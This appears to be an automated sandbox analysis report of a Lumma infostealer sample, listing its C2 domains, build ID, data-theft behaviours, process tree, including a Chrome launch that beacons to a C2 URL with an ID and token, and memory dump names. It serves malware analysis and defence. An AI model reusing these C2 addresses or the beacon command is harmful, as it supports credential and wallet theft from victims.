Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    16/05/2026, 20:05

General

  • Target
    ws-Setup-Complete.exe
  • Size 4.9MB
  • Sample260516-yvb7dacv7n
  • SHA256 7908c22432e29287fa07768c1573b899d1f216545f0fd6d49653945001ad4181
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • lumma

C2
  • https://shenyac.cyou

  • https://decrnoj.club/xxx

  • https://pomflgf.vu/help

  • https://carytui.vu/caccc

  • https://mushxhb.best/info

  • https://genugsq.best/main

  • https://ulmudhw.shop/create

  • https://strikql.shop/owner

  • https://longmbx.click/manifest

Attributes
  • build_id

    37934481450b824f5d084fe6153b86d32711

Signatures

  • Family: Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ws-Setup-Complete.exe
    "C:\Users\Admin\AppData\Local\Temp\ws-Setup-Complete.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:672
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" shenyac.cyou/api/set_agent?id=9C4DE6F4BD24956701AEC7B30ADF174C&token=37934481450b824f5d084fe6153b86d32711&description=&agent=Chrome
      2⤵
      • Drops file in Windows directory
      • Enumerates system info in registry
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:2108
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe38f4c728,0x7ffe38f4c734,0x7ffe38f4c740
        3⤵
          PID:1824
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1960,i,7022195449044638757,16978757570158922049,524288 --field-trial-handle=2056,i,8740503744420771981,14594385090028208897,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=2088 /prefetch:11
          3⤵
          • System Time Discovery
          PID:4732
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1624,i,4145058652696311409,17031460563315033378,262144 --field-trial-handle=2056,i,8740503744420771981,14594385090028208897,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=2052 /prefetch:2
          3⤵
            PID:1580
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2408,i,5924187000672751304,10974640704973140551,524288 --field-trial-handle=2056,i,8740503744420771981,14594385090028208897,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=2368 /prefetch:13
            3⤵
              PID:4132
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2964,i,15989048142385071431,1466278580593601834,2097152 --field-trial-handle=2056,i,8740503744420771981,14594385090028208897,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3104 /prefetch:1
              3⤵
                PID:4012
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2956,i,1343674942408869998,7811031408528954309,2097152 --field-trial-handle=2056,i,8740503744420771981,14594385090028208897,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3084 /prefetch:1
                3⤵
                  PID:1128
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3812,i,12079260277664073333,6451652694884502331,2097152 --field-trial-handle=2056,i,8740503744420771981,14594385090028208897,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3816 /prefetch:9
                  3⤵
                    PID:3172
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5276,i,409688974729767332,12010720250123241809,524288 --field-trial-handle=2056,i,8740503744420771981,14594385090028208897,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5280 /prefetch:14
                    3⤵
                      PID:4632
                • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                  "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                  1⤵
                    PID:4044
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                    1⤵
                      PID:868

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          BookmarkMergedSurfaceOrdering

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                          • Size 6B
                          • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                          • MD5 SHA1 SHA512

                          BrowsingTopicsState

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                          • Size 414B
                          • SHA256 dbaff343936ed8526e23eaf0bff2ab3bf588185f6de4d73187238d2e0778a1c8
                          • MD5 SHA1 SHA512 TLSH

                          432b0570-a38b-4856-a9b6-05ad66ab73ce.tmp

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\432b0570-a38b-4856-a9b6-05ad66ab73ce.tmp
                          • Size 2B
                          • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                          • MD5 SHA1 SHA512

                          Last Version

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
                          • Size 13B
                          • SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
                          • MD5 SHA1 SHA512

                          Local State

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                          • Size 115KB
                          • SHA256 87bbbd63cddf7ec55308d0b1333ea7962a3f4ca2b8743fe6cc04a33ee7ae9afe
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/672-61-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-56-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-43-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-45-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-44-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-49-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-73-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-101-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-57-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-99-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-98-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-97-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-96-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-95-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-94-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-93-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-92-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-91-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-90-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-89-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-88-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-87-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-86-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-85-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-84-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-83-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-82-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-81-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-80-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-79-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-76-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-75-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-59-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-72-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-71-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-70-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-69-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-68-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-67-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-66-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-65-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-64-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-63-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-62-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-1-0x00000000016B0000-0x000000000170C000-memory.dmp

                          memory/672-60-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-74-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-46-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-100-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-58-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-55-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-54-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-53-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-52-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-51-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-50-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-78-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-77-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-48-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-47-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-0-0x00000000016B0000-0x000000000170C000-memory.dmp

                          memory/672-113-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-115-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-146-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-145-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-144-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-143-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-142-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-114-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-141-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-140-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-139-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-138-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-137-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-136-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-135-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-134-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-133-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-132-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-131-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-130-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-129-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-128-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-127-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-126-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-125-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-124-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-123-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-122-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-121-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-120-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-119-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-118-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-117-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-116-0x00000000017D0000-0x00000000017D1000-memory.dmp

                          memory/672-112-0x00000000017D0000-0x00000000017D1000-memory.dmp